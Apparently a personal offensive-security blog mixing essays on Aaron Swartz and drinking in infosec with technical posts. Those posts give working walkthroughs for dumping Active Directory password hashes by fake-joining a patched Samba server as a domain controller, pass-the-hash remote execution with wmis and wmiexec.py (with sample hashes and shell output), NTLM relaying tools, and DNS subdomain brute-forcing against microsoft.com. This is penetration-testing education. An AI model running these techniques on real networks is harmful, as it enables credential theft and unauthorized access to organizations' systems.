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Blatherings of a security addict.

The Internets Own Boy

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Anyone who knows me knows that I live in a tiny world of offensive security, so much so that I miss large world events entirely. (Like elections and hurricanes)

I didn’t know Aaron Swartz, or even 1% of what he was doing in the world to make it a better place and for that I am ashamed. I will do better, to look around, see what needs to be changed in this world and make it a reality.

The following is a Documentary about the life of Aaron Swartz. If you live under a similar rock as I, you can start here: http://en.wikipedia.org/wiki/Aaron_Swartz

Watch, learn, share, and help continue a legacy that Aaron started.

Why Good Leaders Make You Feel Safe

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This talk really touched home with me and I wanted to share it, and not just because he talked about Marines. ;–)

Forward this talk on to your fellow employees, boss, etc.

Go Home InfoSec, You’re Drunk

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Let me start off by saying this post is easy for me to write in one facet as I’ve never been a heavy drinker or much enjoyed the taste of alcohol. So if you need a reason to disregard what I say next, I leave the door open.

I am still pretty much a runt in the infosec community as I didn’t even begin learning computers (outside of playing games on them) until 2005. However, one thing that has nagged at me for a long time is the intertwined nature of hacking/infosec and drinking. Its almost a right of passage in the common fraternity style. The problem lies in the fact that you don’t really “graduate” and leave those parties behind.

Now, I have certainly partaken in my share of parties and consumption, even with that nagging feeling in the back of my head. It didn’t really take root until just recently. I was at a conference where a student (who was not 21) that looked very much like an older version of my oldest child said that he was going to skip dinner to go get wasted with XYZ “Infosec Rockstar”.

That scared me into thinking that if my son goes into Infosec he will be basically expected to drink like an alcoholic. How can I want my kid to be expected (not forced) to drink a shot on stage if he gets accepted to speak at DEF CON.

We (the infosec community) are few, and we loose too many to idiotic things like drug overdose, drinking and driving, and other stupidly preventable crap. For that reason I actually don’t want to share the thing I feel so passionate about with my own kids.

My call to action is this:

If you are a conference goer, try going one con completely dry, and if you already do, maybe ask friend to join you.

If you are speaker, enough of the drinks on stage and drinking games. Do you really want the next generation, those you are trying to teach, to remember that part of your talk instead of the rest?

If you are a conference organizer, maybe a completely dry day at the con? or an AA meeting space?

If you are a podcaster, if you drink during the cast, make it about the taste and selection, instead of how wasted and totally useless the next hour of your listeners life will be.

ShmooCon runs an AA meeting at the con

Lets stop losing our friends and family because we are too weak to say ‘no thank you’ when someone approaches the dais with a shot.

Effective NTLM / SMB Relaying

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SMB Relay has been around for a long while. I even have a post about using it along with LNK files here: MS08-068 + MS10-046 = Fun until 2018

Here is the problem though. Most of the tools to exploit it either catch the authentication in NTLMv2/NTLMv1 (which is not always easy to crack) or assume administrative access (because they attempt to PSEXEC with the incoming session). Well, since MS08-068 thats much harder to pin down. You have to know who is going to hit your relay server and what other location they might be an admin on. You also have to a service you want to run on that target.

Current Tools:

“Soft” relay tools:

Now, some would argue that you just spin up the relay at a target then leave it until one pops. I’m not really a fan of that. You will not only be creating multiple access attempt log entries, but you are also just throwing away all of those user authentication attempts. There are 3 tools that agree with me.

  1. Squirtle
    • Squirtle is awesome plus it’s written in a language I understand (ruby) but it has one serious downfall, many of the post-auth features are left up to the user to develop. It does have a great API but needs some coding to get to do certain things.
  2. Intercepter-NG
    • I have tested Interceptre-NG out a lot and it has some fantastic features, not to mention that it does relaying on a Windows host, which is impressive all by itself (due to 445 default bind). My only problem with it is that it’s closed source. But definitely recommended.

The 3rd is a tool called “ZackAttack” by Zack Fasel, you can find it here on Github:ZackAttack. You can find the video of the talk releasing this tool on Youtube. So what is so special about this tool? Other than the fact that most of the web interface is broken horribly it has this amazing bit of code that acts as a SOCKS proxy. This SOCKS proxy identifies SMB or HTTP traffic that has NTLM authentication going on and rewrites it based on captured sessions.

What does this mean? If I use SpiderLab’s Responder, for instance, to spoof/get/fake a bunch of users into connecting to my machine via automatic or forced methods to the capture/keep services that ZackAttack spins up, I can then run smbclient or Outlook or Web browser, push it through the ZackAttack SOCKS proxy, pick a username out of the captured names, and use any password I want when asked, and the SOCKS proxy will automatically replace it en route with the valid session information.

This way I can use every authentication that comes in to its highest potential for pwnage. The video below shows how this can be used to connect to a “Network share”

Update: One thing to mention that ZackAttack does that I haven’t seen other tools do, even Squirtle or Intercepter-NG is getting 3+ successful authentications out of a single relay from a user. ZackAttack does this with some clever HTTP Keep-Alive and SMB “reauth” kung fu.

Other References:

I tried finding all the original/semi original references about SMB (LM/NTLM) Relaying. If you have others please leave a comment below so I can add them to the list.

Installing PyCrypto on OSX Mavericks

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Keeping it here for notes and just in case anyone else runs into this same issue.

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brew install pip
sudo ARCHFLAGS=-Wno-error=unused-command-line-argument-hard-error-in-future pip install pycrypto

If you have a better way please leave a comment below!

CCDC Red Teamer’s Creed

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This is my box. There are many like it, but they are all mine.

My malware is my best friend. It is my life. I must master it as I must master my life.

My malware, without me, is useless. Without my malware, I am useless. I must drop my malware true. I must rootkit better than my enemy who is trying to kill my binary. I must kit him before he kits me. I will…

My malware and I know that what counts in this war is not the boxes we pop, the noise of our root dance, nor the cheers coming from the Red Team room. We know that it is the root that count. We will root…

My malware is human, even as I, because it is my life. Thus, I will learn it as a brother. I will learn its weaknesses, its strength, its parts, its extensions, its dlls and its exes. I will keep my malware av free and ready, even as I am ready. We will become part of each other. We will…

Before God, I swear this creed. My malware and I are the defenders of my botnet. We are the masters of our enemy. We are the saviors of my shells.

So be it, until victory is the Red Team’s and there is no enemy, but peace!

Dumping NTDS.dit Domain Hashes Using Samba

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So there was this blog post that talking about a number of ways to dump windows credentials by @lanjelot [definitly someone to follow] – here: https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/ and at the very bottom of this post it says “AD Replication (EXPERIMENTAL)

What it boils down to is if you can position a system that can do DNS resolution to the target domain, and perform some other UDP traffic, you can fake join a samba server you control to a domain and it doesn’t require code execution in any way on the domain controller.

Notice: I am not doing this on a Kali Linux box, there is already an install of Samba there and I didn’t want to try uninstalling or modifying the one installed.

First, you need this patch:

wget http://files.securusglobal.com/samba-4.1.0_replication-only-patch.txt

and Samba 4.1.0

wget http://ftp.samba.org/pub/samba/stable/samba-4.1.0.tar.gz

You will probably also require some dependencies to be installed:

apt-get install python2.7-dev python-samba libacl1-dev build-essential libldap2-dev libkrb5-dev attr

Since the patch is kinda wonky, you need to make a src directory and extract samba into there first. Then apply the patch in whatever directory is above src

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mkdir src
mv samba-4.1.0.tar.gz src/
cd src/
tar zxvf samba-4.1.0.tar.gz
cd /root/

So it would look like this:

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samba-4.1.0_replication-only-patch.txt
src/
src/samba-4.1.0/

then run patch -p0 < samba-4.1.0_replication-only-patch.txt

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cd ./src/samba-4.1.0/
./configure
make
make install

Prepare the box:

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rm -rf /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf

Next you need to make sure you are resolving correctly (if you can’t resolve the SRV record _ldap._tcp.sittingduck.info (sittingduck.info being the domain) then this isn’t going to work.

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echo nameserver 192.168.92.37 > /etc/resolv.conf # this is the IP address of the DC

Then start the clone:

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/usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator

Looks like this:

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root@sambabox:~/src/samba-4.1.0# /usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator
Finding a writeable DC for domain 'sittingduck.info'
Found DC 2K8DC.sittingduck.info
Password for [SITTINGDUCK\administrator]:
workgroup is SITTINGDUCK
realm is sittingduck.info
Calling bare provision
No IPv6 address will be assigned
Provision OK for domain DN DC=sittingduck,DC=info
Starting replication
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1521] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1614] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=sittingduck,DC=info] objects[100] linked_values[24]
Partition[DC=sittingduck,DC=info] objects[353] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
descriptor_sd_propagation_recursive: DC=DomainDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
descriptor_sd_propagation_recursive: DC=ForestDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
Joined domain SITTINGDUCK (SID S-1-5-21-3147519476-3247671789-820278723) as a DC

Then to get the hashes:

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root@sambabox:~# /usr/local/samba/bin/pdbedit -L -w
2K8DC$:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:CB14F1166BBE1749AC0FB40240C5DC30:[S          ]:LCT-530FC425:
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[U          ]:LCT-531006A4:
krbtgt:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:F2EE6AB6F40810169E0E46B126CEFBEF:[DU         ]:LCT-530FC3FF:
nobody:65534:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:[U          ]:LCT-00000000:
jdoe:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX         ]:LCT-530FC5FF:
uber:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX         ]:LCT-53101261:

Or you can do it with history:

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root@sambabox:~# python samba-pwdump.py /usr/local/samba/private/sam.ldb.d/DC\=SITTINGDUCK\,DC\=INFO.ldb -history
SAMBACLONE$:1104:::::
2K8DC$:1000::cb14f1166bbe1749ac0fb40240c5dc30:::
Administrator:500::88e4d9fabaecf3dec18dd80905521b29:::
krbtgt:502::f2ee6ab6f40810169e0e46b126cefbef:::
Guest:501:::::
jdoe:1103::88e4d9fabaecf3dec18dd80905521b29:::
uber:1105::88e4d9fabaecf3dec18dd80905521b29:::
uber_history0:1105:444d1edcad01ae08f49f073e12e8cc14:88e4d9fabaecf3dec18dd80905521b29:::

Game over. The great thing is that it never actually shows up as a joined box in the domain, and as far as I can tell the only log on the real DC is the login success of a domain admin. Plus one of the huge benefits to this method is that once you have the database Samba makes it really easy to query information like group membership or users info after the fact, not just hashes.

Executing Code via SMB / DCOM Without PSEXEC

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PSEXEC has been a staple for Windows post exploitation pivoting and system administration for a long while. The basic premise of how all “psexec” tools work is:

  1. (Optional) Upload a service executable (PSEXECSVC.EXE in the case of SysInternal’s tool) to the ADMIN$ share
  2. Connect to the service manager on the remote host, and create a service based on either a local (to the remote system) executable or the uploaded one.
  3. Run the service
  4. Stop and delete the service and uploaded file pulling down the resulting output if any from the execution.

Now, as you can guess, the uploading of a file, creating, starting, stopping, and deletion of services create quite the logs and forensic evidence.

As you might imagine, thats not the best thing for us on the offensive side of infosec. Luckily big brother Microsoft provides another option, WMI (Windows Management Interface). I demonstrated the use of this in the past: HERE and HERE

The downside to using the WMIC directly is that you need a valid token or a valid password for it to work. Passing the hash didn’t used to be an available option.

That has changed with the “wmis” package on Kali Linux that incorporates the “Pass-the-Hash for 15 years toolkit”

(There is a slight problem where you have to play with it a bit to get it working on 64 bit Kali)

The other solution is supplied as an example in the Impacket library “wmiexec.py”. In my experience there are a few features that make it the better option.

  1. Installing it on a random VPS is dead simple and doesn’t need the Kali repos to get right, nor Debian/Ubuntu.
  2. It defaults to an “semi-interactive shell” which writes and reads output from the ADMIN$ shell by default. Something I would normally have to do manually with a bunch of tools
  3. As with the WMIS package, it allows you to just create a process without the ADMIN$ write/read.

Enough crazy talk here is an example usage of each:

WMIS

Usage:

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root@wpad:~# wmis
Usage: [-?NPV] [-?|--help] [--usage] [-d|--debuglevel=DEBUGLEVEL] [--debug-stderr] [-s|--configfile=CONFIGFILE]
        [--option=name=value] [-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full]
        [-R|--name-resolve=NAME-RESOLVE-ORDER] [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME]
        [-W|--workgroup=WORKGROUP] [--realm=REALM] [-i|--scope=SCOPE] [-m|--maxprotocol=MAXPROTOCOL]
        [-U|--user=[DOMAIN\]USERNAME[%PASSWORD]] [-N|--no-pass] [--password=STRING] [-A|--authentication-file=FILE]
        [-S|--signing=on|off|required] [-P|--machine-pass] [--simple-bind-dn=STRING] [-k|--kerberos=STRING]
        [--use-security-mechanisms=STRING] [-V|--version]
        //host

Example: wmis -U [domain/]adminuser%password //host cmd.exe /c dir c:\ > c:\windows\temp\output.txt 

Example:

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root@wpad:~# wmis -U administrator%aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 //172.16.102.141 calc.exe
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
[wmi/wmis.c:172:main()] 1: calc.exe
NTSTATUS: NT_STATUS_OK - Success

wmiexec.py

Using a password, but with hashes you just tell it -hashes :

Usage:

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root@wpad:~/impacket/examples# ./wmiexec.py 
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-hashes LMHASH:NTHASH]
                  target [command [command ...]]

positional arguments:
  target                [domain/][username[:password]@]<address>
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell

optional arguments:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default
                        C$)
  -nooutput             whether or not to print the output (no SMB connection
                        created)

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

Example:

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root@wpad:~/impacket/examples# ./wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 administrator@172.16.102.141
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 5CCA-B528

 Directory of C:\

07/13/2009  11:20 PM    <DIR>          PerfLogs
10/07/2013  03:26 PM    <DIR>          Program Files
07/14/2009  01:08 AM    <DIR>          Program Files (x86)
04/25/2014  02:21 AM    <DIR>          Users
05/11/2014  03:39 PM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  52,884,389,888 bytes free

C:\>

Iterative DNS Brute Forcing

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Everyone has their list of hostnames they brute force domains with. In my last post I even mentioned a few ways to use one with XARGS or PARALLEL. But one fact about wordlist brute forcing is that there is no “one list to rule them all”. But over the years of doing DNS record collection I have noticed one thing, most domains have a large number of short hostnames that are easy to remember, usually 4 characters or less.

I’m sure you already know where I’m going with this, I wanted to brute force all possible hostnames up to 4 characters. For a long time I struggled with coding this, but couldn’t wrap my head around it. I would come back to it every so often, finally a few days ago I happened upon a script on gist: https://gist.github.com/petehamilton/4755855 that suited my needs perfectly.

I modified it to suite my needs (just use the yield method) and here is what I ended up with (remember DNS is case insensitive):

Notice: This script doesn’t end, it will keep doing lookups on longer and longer hostnames until you hit CTRL-C

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#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

@domain = 'microsoft.com'

def result?(sub)
  results = %x(dig +noall #{sub}.#{@domain} +answer)
  if results != ""
      puts "============================"
      puts "FOUND: \t#{sub}"
      puts "============================"
      puts "#{results}"
      puts "============================"
  end
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

This worked but it was slow, so I sped it up using methods that I talked about in my last post and a quick modification:

I used this:

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#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

def result?(sub)
  puts sub    
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

which just prints all the possibilities:

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...

and piped it into parallel + dig:

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ruby brutelist.rb | parallel -j100 dig +noall {}.microsoft.com +answer

and got the following:

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c.microsoft.com. 2   IN  CNAME   c.microsoft.akadns.net.
c.microsoft.akadns.net.   499 IN  A   65.55.58.184
e.microsoft.com.  3599    IN  A   191.234.1.50
g.microsoft.com.  2798    IN  CNAME   g.msn.com.
g.msn.com.        99  IN  CNAME   g.msn.com.nsatc.net.
g.msn.com.nsatc.net.  148 IN  A   131.253.34.154
i.microsoft.com.  779 IN  CNAME   i.toggle.www.ms.akadns.net.
i.toggle.www.ms.akadns.net. 44    IN  CNAME   i.g.www.ms.akadns.net.
i.g.www.ms.akadns.net.    225 IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 116 IN CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   16  IN  A   23.45.65.26
a1475.g.akamai.net.   16  IN  A   23.45.65.33
m.microsoft.com.  3599    IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 299 IN   A   65.55.186.235
s.microsoft.com.  3599    IN  CNAME   reroute.microsoft.com.
reroute.microsoft.com.    3599    IN  A   65.55.58.201
reroute.microsoft.com.    3599    IN  A   64.4.11.37
cs.microsoft.com. 81  IN  CNAME   wedcs.trafficmanager.net.
wedcs.trafficmanager.net. 7   IN  CNAME   wedcseus.cloudapp.net.
wedcseus.cloudapp.net.    8   IN  A   137.116.48.250
...

Happy bruting. Both scripts can be found on my gists page:

Hostname Bruteforcing on the Cheap

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Quick update: As @MikeDamm points out, xargs has a -P option that can do the same thing I’m using parallel for. If you have a supported version of xargs you can use -P 0 to do the same thing as -j0 with parallel, but if your version doesn’t support the 0 you can simply use the same number parallel uses ala:

  • cat subdomains.txt | xargs -P 122 -I subdomain dig +noall subdomain.microsoft.com +answer

This results in roughly the same completion time as it’s parallel counterpart. Thanks @MikeDamm!


There are some great discussions on the NoVA Hackers mailing list. One such discussion was about what the best way to do dns hostname brute forcing was and which tool is better than another. For me, I just use the command line and then parse the results (or just ask the deepmagic.com database ;–)

Here is what I do:

First, you need a good list of DNS sub domains / hostnames. Personally I use the list provided over at http://www.ethicalhack3r.co.uk/zone-transfers-on-the-alexa-top-1-million/ (with a few minor tweaks). If you haven’t read that post and follow-on posts you really should. But take the list and save it locally. Then just run the following command:

  • cat subdomains.txt | xargs -t -I subdomain dig +noall subdomain.microsoft.com +answer

Now, xargs is great but does one thing at a time and can be quite slow if your subdomains list is large. With the use of the amazing tool GNU parallel you can get done in a matter of seconds, well, that or knock over your home router.

  • cat subdomains.txt | parallel -k -j0 dig +noall {}.microsoft.com +answer

Warning: the -j0 option maxes out the possible file handles and jobs that your CPU/kernel can handle, which usually destroys VMs. Just a smaller job count like 100 or 50 if you want the speed without the crash ;–)

with an output something list this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
parallel: Warning: Only enough file handles to run 122 jobs in parallel.
Raising ulimit -n or /etc/security/limits.conf may help.
parallel: Warning: No more file handles. Raising ulimit -n or /etc/security/limits.conf may help.
mail.microsoft.com.   2369    IN  A   131.107.125.5
www.microsoft.com.    0   IN  CNAME   toggle.www.ms.akadns.net.
toggle.www.ms.akadns.net. 0   IN  CNAME   g.www.ms.akadns.net.
g.www.ms.akadns.net.  0   IN  CNAME   lb1.www.ms.akadns.net.
lb1.www.ms.akadns.net.    263 IN  A   64.4.11.42
m.microsoft.com.  0   IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 300 IN   A   65.55.186.235
ftp.microsoft.com.    0   IN  CNAME   ftp.microsoft.akadns.net.
ftp.microsoft.akadns.net. 259 IN  A   64.4.17.176
mobile.microsoft.com. 0   IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 300 IN   A   65.55.186.235
smtp.microsoft.com.   3600    IN  A   131.107.115.215
smtp.microsoft.com.   3600    IN  A   131.107.115.214
smtp.microsoft.com.   3600    IN  A   205.248.106.64
smtp.microsoft.com.   3600    IN  A   205.248.106.30
smtp.microsoft.com.   3600    IN  A   205.248.106.32
smtp.microsoft.com.   3600    IN  A   131.107.115.212
search.microsoft.com. 0   IN  CNAME   search.microsoft.akadns.net.
search.microsoft.akadns.net. 0    IN  CNAME   search.msn.com.edgesuite.net.
search.msn.com.edgesuite.net. 0   IN  CNAME   a134.g.akamai.net.
a134.g.akamai.net.    19  IN  A   209.107.220.27
a134.g.akamai.net.    19  IN  A   209.107.220.35
dev.microsoft.com.    0   IN  CNAME   msdn.microsoft.com.
msdn.microsoft.com.   0   IN  CNAME   msdn.microsoft.akadns.net.
msdn.microsoft.akadns.net. 600    IN  A   157.56.148.19
img.microsoft.com.    0   IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 0 IN   CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   20  IN  A   165.254.158.48
a1475.g.akamai.net.   20  IN  A   165.254.158.9
news.microsoft.com.   0   IN  CNAME   msnews.microsoft.com.
msnews.microsoft.com. 3600    IN  A   207.46.248.16
mail2.microsoft.com.  3600    IN  A   131.107.115.215
beta.microsoft.com.   0   IN  CNAME   connect.microsoft.akadns.net.
connect.microsoft.akadns.net. 300 IN  A   65.52.103.84
support.microsoft.com.    0   IN  CNAME   mso-geo.microsoft.akadns.net.
mso-geo.microsoft.akadns.net. 0   IN  CNAME   support.microsoft.akadns.net.
support.microsoft.akadns.net. 175 IN  A   157.56.56.139
my.microsoft.com. 3600    IN  A   134.170.255.29
help.microsoft.com.   0   IN  CNAME   help.msn.com.
mail3.microsoft.com.  3600    IN  A   131.107.115.214
download.microsoft.com.   0   IN  CNAME   download.microsoft.com.nsatc.net.
download.microsoft.com.nsatc.net. 0 IN    CNAME   main.dl.ms.akadns.net.
main.dl.ms.akadns.net.    0   IN  CNAME   download.microsoft.com.edgesuite.net.
download.microsoft.com.edgesuite.net. 0   IN CNAME a954.dscms.akamai.net.
a954.dscms.akamai.net.    0   IN  CNAME   a954.dscms.akamai.net.0.1.cn.akamaitech.net.
a954.dscms.akamai.net.0.1.cn.akamaitech.net. 1 IN A 69.31.75.184
a954.dscms.akamai.net.0.1.cn.akamaitech.net. 1 IN A 69.31.75.168
shop.microsoft.com.   3600    IN  A   64.4.11.37
shop.microsoft.com.   3600    IN  A   65.55.58.201
games.microsoft.com.  3600    IN  A   207.46.166.10
business.microsoft.com.   3600    IN  A   65.55.57.98
ws.microsoft.com. 0   IN  CNAME   ws.microsoft.com.nsatc.net.
gateway.microsoft.com.    3600    IN  A   131.107.16.142
gateway.microsoft.com.    3600    IN  A   131.107.16.143
members.microsoft.com.    0   IN  CNAME   members.microsoft.akadns.net.
members.microsoft.akadns.net. 219 IN  A   65.55.57.28
c.microsoft.com.  0   IN  CNAME   c.microsoft.akadns.net.
c.microsoft.akadns.net.   215 IN  A   65.55.58.199
g.microsoft.com.  0   IN  CNAME   g.msn.com.
g.msn.com.        0   IN  CNAME   g.msn.com.nsatc.net.
g.msn.com.nsatc.net.  142 IN  A   131.253.34.154
mail4.microsoft.com.  3600    IN  A   205.248.106.64
mail1.microsoft.com.  3600    IN  A   131.107.115.212
apps.microsoft.com.   0   IN  CNAME   apps.windows.akadns.net.
apps.windows.akadns.net. 0    IN  CNAME   services.windows.akadns.net.
services.windows.akadns.net. 0    IN  CNAME   services-perf.windows.akadns.net.
services-perf.windows.akadns.net. 46 IN   A   134.170.30.204
email.microsoft.com.  1989    IN  A   157.55.150.73
i.microsoft.com.  0   IN  CNAME   i.toggle.www.ms.akadns.net.
i.toggle.www.ms.akadns.net. 0 IN  CNAME   i.g.www.ms.akadns.net.
i.g.www.ms.akadns.net.    0   IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 0 IN   CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   8   IN  A   23.62.111.114
a1475.g.akamai.net.   8   IN  A   23.62.111.104
s.microsoft.com.  0   IN  CNAME   reroute.microsoft.com.
reroute.microsoft.com.    3600    IN  A   64.4.11.37
reroute.microsoft.com.    3600    IN  A   65.55.58.201
community.microsoft.com. 0    IN  CNAME   communities.microsoft.com.
communities.microsoft.com. 3600   IN  A   64.4.11.37
communities.microsoft.com. 3600   IN  A   65.55.58.201
connect.microsoft.com.    0   IN  CNAME   connect.microsoft.akadns.net.
connect.microsoft.akadns.net. 152 IN  A   65.52.103.84
rss.microsoft.com.    796 IN  A   65.55.58.201
rss.microsoft.com.    796 IN  A   64.4.11.37
home.microsoft.com.   0   IN  CNAME   redir.blu.cb3.glbdns.microsoft.com.
redir.blu.cb3.glbdns.microsoft.com. 116   IN A    65.55.206.229
jp.microsoft.com. 3600    IN  A   65.55.58.201
jp.microsoft.com. 3600    IN  A   64.4.11.37
labs.microsoft.com.   3600    IN  A   64.4.11.37
labs.microsoft.com.   3600    IN  A   65.55.58.201
exchange.microsoft.com.   2120    IN  A   65.55.31.35
marketing.microsoft.com. 3600 IN  A   207.46.242.110
mac.microsoft.com.    3600    IN  A   64.4.11.37
mac.microsoft.com.    3600    IN  A   65.55.58.201
feeds.microsoft.com.  3600    IN  A   65.55.57.98
partners.microsoft.com.   0   IN  CNAME   pmc.partners.microsoft.akadns.net.
pmc.partners.microsoft.akadns.net. 300 IN A   131.107.119.14
feed.microsoft.com.   0   IN  CNAME   feed.trafficmanager.net.
feed.trafficmanager.net. 0    IN  CNAME   feedna.cloudapp.net.
feedna.cloudapp.net.  10  IN  A   65.52.9.172
partner.microsoft.com.    0   IN  CNAME   portal.partners.microsoft.akadns.net.
portal.partners.microsoft.akadns.net. 300 IN A    131.107.119.163
cs.microsoft.com. 0   IN  CNAME   wedcs.trafficmanager.net.
wedcs.trafficmanager.net. 0   IN  CNAME   wedcseus.cloudapp.net.
wedcseus.cloudapp.net.    10  IN  A   137.116.48.250
forums.microsoft.com. 0   IN  CNAME   forums.microsoft.akadns.net.
forums.microsoft.akadns.net. 600 IN   A   65.52.103.99
meet.microsoft.com.   3600    IN  A   131.107.1.71
e.microsoft.com.  3600    IN  A   191.234.1.50
autodiscover.microsoft.com. 2358 IN   A   131.107.125.5
im.microsoft.com. 3600    IN  A   131.107.1.75
sip.microsoft.com.    2228    IN  A   65.55.30.130
me.microsoft.com. 0   IN  CNAME   edm.cloudapp.net.
dig: 'm..microsoft.com' is not a legal name (empty label)
billing.microsoft.com.    0   IN  CNAME   paymenthubprod.trafficmanager.net.
paymenthubprod.trafficmanager.net. 0 IN   CNAME   paymenthubuxprod1.cloudapp.net.
paymenthubuxprod1.cloudapp.net.   10 IN   A   168.62.198.20
profile.microsoft.com.    0   IN  CNAME   profile.microsoft.akadns.net.
profile.microsoft.akadns.net. 335 IN  A   64.4.11.47
research.microsoft.com.   806 IN  A   131.107.65.14
sharepoint.microsoft.com. 3463    IN  A   64.4.6.100
sharepoint.microsoft.com. 3463    IN  A   65.55.39.10
appdev.microsoft.com. 0   IN  CNAME   appdev.windows.akadns.net.
appdev.windows.akadns.net. 131    IN  A   134.170.30.200
newsletters.microsoft.com. 3150   IN  A   207.46.248.35
advertising.microsoft.com. 0  IN  CNAME   advertising.microsoft.com.nsatc.net.
advertising.microsoft.com.nsatc.net. 245 IN A 65.52.100.46
catalog.microsoft.com.    0   IN  CNAME   genuine.microsoft.akadns.net.
genuine.microsoft.akadns.net. 300 IN  A   65.55.58.177
social.microsoft.com. 0   IN  CNAME   lb.social.ms.akadns.net.
lb.social.ms.akadns.net. 54   IN  A   65.52.103.78
events.microsoft.com. 1776    IN  A   64.4.11.31
events.microsoft.com. 1776    IN  A   65.55.58.192
ajax.microsoft.com.   0   IN  CNAME   mscomajax.vo.msecnd.net.
mscomajax.vo.msecnd.net. 208  IN  A   65.54.81.164
mscomajax.vo.msecnd.net. 208  IN  A   65.54.81.12
developer.microsoft.com. 0    IN  CNAME   msdn.microsoft.com.
msdn.microsoft.com.   0   IN  CNAME   msdn.microsoft.akadns.net.
msdn.microsoft.akadns.net. 600    IN  A   157.56.148.19
bbs.microsoft.com.    0   IN  CNAME   transfer.microsoft.com.
transfer.microsoft.com.   3600    IN  A   64.4.10.152
backoffice.microsoft.com. 3600    IN  A   64.4.11.37
backoffice.microsoft.com. 3600    IN  A   65.55.58.201